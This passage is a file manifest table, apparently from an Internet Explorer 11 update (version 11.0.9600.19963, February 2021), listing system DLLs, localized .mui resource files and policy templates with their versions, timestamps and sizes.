versioned| 25-Jun-2019| 6:12| 8,798 \nticrf.rat| Not versioned| 25-Jun-2019| 6:12| 1,988 \niertutil.dll| 11.0.9600.19963| 12-Feb-2021| 19:17| 2,915,840 \nsqmapi.dll| 6.2.9200.16384| 13-Feb-2021| 12:44| 286,088 \nie4uinit.exe| 11.0.9600.19963| 12-Feb-2021| 18:28| 728,064 \niernonce.dll| 11.0.9600.19963| 12-Feb-2021| 19:07| 34,304 \niesetup.dll| 11.0.9600.19963| 12-Feb-2021| 19:16| 66,560 \nieuinit.inf| Not versioned| 12-Feb-2021| 17:31| 16,303 \ninseng.dll| 11.0.9600.19963| 12-Feb-2021| 18:46| 107,520 \nTimeline.dll| 11.0.9600.19963| 12-Feb-2021| 18:45| 219,648 \nTimeline_is.dll| 11.0.9600.19963| 12-Feb-2021| 19:07| 172,032 \nTimeline.cpu.xml| Not versioned| 25-Jun-2019| 6:12| 3,197 \nVGX.dll| 11.0.9600.19963| 12-Feb-2021| 18:43| 1,018,880 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 2,066,432 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 2,121,216 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 2,075,136 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 2,063,872 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 2,314,240 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 2,390,528 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 2,033,152 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 2,307,584 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 2,255,872 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 2,061,312 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 2,326,016 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 2,019,840 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 2,071,040 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 2,082,816 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 2,307,584 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 2,170,368 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 2,153,984 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 2,291,712 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 2,283,520 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 2,052,096 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 2,301,952 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 2,093,056 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 2,075,648 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 2,299,392 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 2,094,592 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 2,316,800 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 2,305,536 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 2,278,912 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 2,277,888 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 2,060,288 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 2,315,776 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 2,278,912 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 2,324,992 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 2,098,176 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 1,890,304 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 1,890,304 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 3,072 \nieframe.dll| 11.0.9600.19963| 12-Feb-2021| 18:26| 15,506,944 \nieui.dll| 11.0.9600.19963| 12-Feb-2021| 19:05| 615,936 \nieframe.ptxml| Not versioned| 12-Feb-2021| 16:23| 24,486 \nieinstal.exe| 11.0.9600.19963| 12-Feb-2021| 18:40| 492,032 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:46| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:47| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:48| 526,294 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:49| 499,654 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:50| 552,337 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:50| 944,559 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:48| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:51| 543,946 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:52| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:53| 526,557 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:54| 575,838 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:54| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:55| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:56| 570,737 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:57| 548,119 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:58| 639,271 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:59| 525,504 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:59| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:00| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:01| 488,488 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:02| 548,494 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:03| 559,343 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:03| 535,067 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:04| 541,455 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:05| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:06| 804,470 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:07| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:07| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:08| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:09| 503,909 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:10| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:10| 521,583 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:11| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:13| 420,082 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:13| 436,651 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:14| 436,651 \ninetres.admx| Not versioned| 8-Feb-2021| 20:02| 1,678,023 \nMsSpellCheckingFacility.exe| 6.3.9600.19963| 12-Feb-2021| 18:56| 970,752 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 29,184 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 35,328 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 37,888 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 27,648 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 33,792 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 23,040 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 22,016 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 31,232 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 35,840 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 34,816 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 32,256 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 30,720 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 16,384 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 16,896 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 16,896 \njscript9.dll| 11.0.9600.19963| 12-Feb-2021| 19:04| 5,499,904 \njscript9diag.dll| 11.0.9600.19963| 12-Feb-2021| 19:03| 814,592 \njscript.dll| 5.8.9600.19963| 12-Feb-2021| 19:04| 785,408 \nvbscript.dll| 5.8.9600.19963| 12-Feb-2021| 19:15| 581,120 \niexplore.exe| 11.0.9600.19963| 13-Feb-2021| 11:46| 810,376 \ntdc.ocx| 11.0.9600.19963| 12-Feb-2021| 18:24| 73,728 \ndxtmsft.dll| 11.0.9600.19963| 12-Feb-2021| 18:29| 415,744 \ndxtrans.dll| 11.0.9600.19963| 12-Feb-2021| 18:20| 280,064 \nmsfeeds.dll| 11.0.9600.19963| 12-Feb-2021| 18:12| 696,320 \nmsfeeds.mof| Not versioned| 12-Feb-2021| 16:34| 1,518 \nmshtmled.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 76,800 \nmshtmlmedia.dll| 11.0.9600.19963| 12-Feb-2021| 18:11| 1,155,584 \nmshtml.dll| 11.0.9600.19963| 12-Feb-2021| 18:58| 20,296,192 \nmshtml.tlb| 11.0.9600.19963| 12-Feb-2021| 18:59| 2,724,864 \nwow64_Microsoft-Windows-IE-HTMLRendering.ptxml| Not versioned| 12-Feb-2021| 16:26| 3,228 \nieetwproxystub.dll| 11.0.9600.19963| 12-Feb-2021| 18:46| 47,616 \nieUnatt.exe| 11.0.9600.19963| 12-Feb-2021| 18:37| 115,712 \noccache.dll| 11.0.9600.19963| 12-Feb-2021| 18:18| 130,048 \nwebcheck.dll| 11.0.9600.19963| 12-Feb-2021| 18:13| 230,400 \niernonce.dll| 11.0.9600.19963| 12-Feb-2021| 18:40| 30,720 \niesetup.dll| 11.0.9600.19963| 12-Feb-2021| 18:47| 62,464 \nieuinit.inf| Not versioned| 12-Feb-2021| 17:30| 16,303 \nieframe.dll| 11.0.9600.19963| 12-Feb-2021| 18:09| 13,881,856 \nieui.dll| 11.0.9600.19963| 12-Feb-2021| 18:38| 476,160 \nie9props.propdesc| Not versioned| 23-Sep-2018| 6:32| 2,843 \nwow64_ieframe.ptxml| Not versioned| 12-Feb-2021| 16:26| 24,486 \njscript9.dll| 11.0.9600.19963| 12-Feb-2021| 18:14| 4,112,384 \njscript9diag.dll| 11.0.9600.19963| 12-Feb-2021| 18:37| 620,032 \njscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:37| 653,824 \nvbscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:47| 498,176 \nurlmon.dll| 11.0.9600.19963| 12-Feb-2021| 17:50| 1,343,488 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 31,744 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 36,352 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 35,328 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 36,864 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 39,424 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 32,768 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 37,376 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 33,280 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 38,400 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 30,720 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 35,328 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 36,864 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 25,600 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 24,576 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 36,352 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 33,280 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 20,992 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 21,504 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 21,504 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 46,592 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 56,320 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 57,856 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 49,664 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 47,616 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 49,152 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 55,296 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 45,056 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 53,248 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 39,424 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 35,840 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 53,760 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 53,248 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 30,720 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 30,720 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 30,720 \ninetcpl.cpl| 11.0.9600.19963| 12-Feb-2021| 18:12| 2,058,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 10,752 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 307,200 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 293,888 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 290,304 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 289,280 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 299,008 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 303,104 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 282,112 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 296,960 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 283,648 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 291,840 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 299,520 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 275,968 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 293,376 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 296,960 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 258,048 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 256,512 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 289,280 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 288,256 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 285,184 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 295,424 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 297,472 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 292,864 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 295,424 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 294,400 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 294,400 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 292,864 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 288,768 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 286,208 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 281,600 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 286,720 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 292,352 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 242,176 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 243,200 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 243,200 \nJavaScriptCollectionAgent.dll| 11.0.9600.19963| 12-Feb-2021| 18:25| 60,416 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 46,080 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 51,712 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 54,272 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 50,176 \nurlmon.dll.mui| 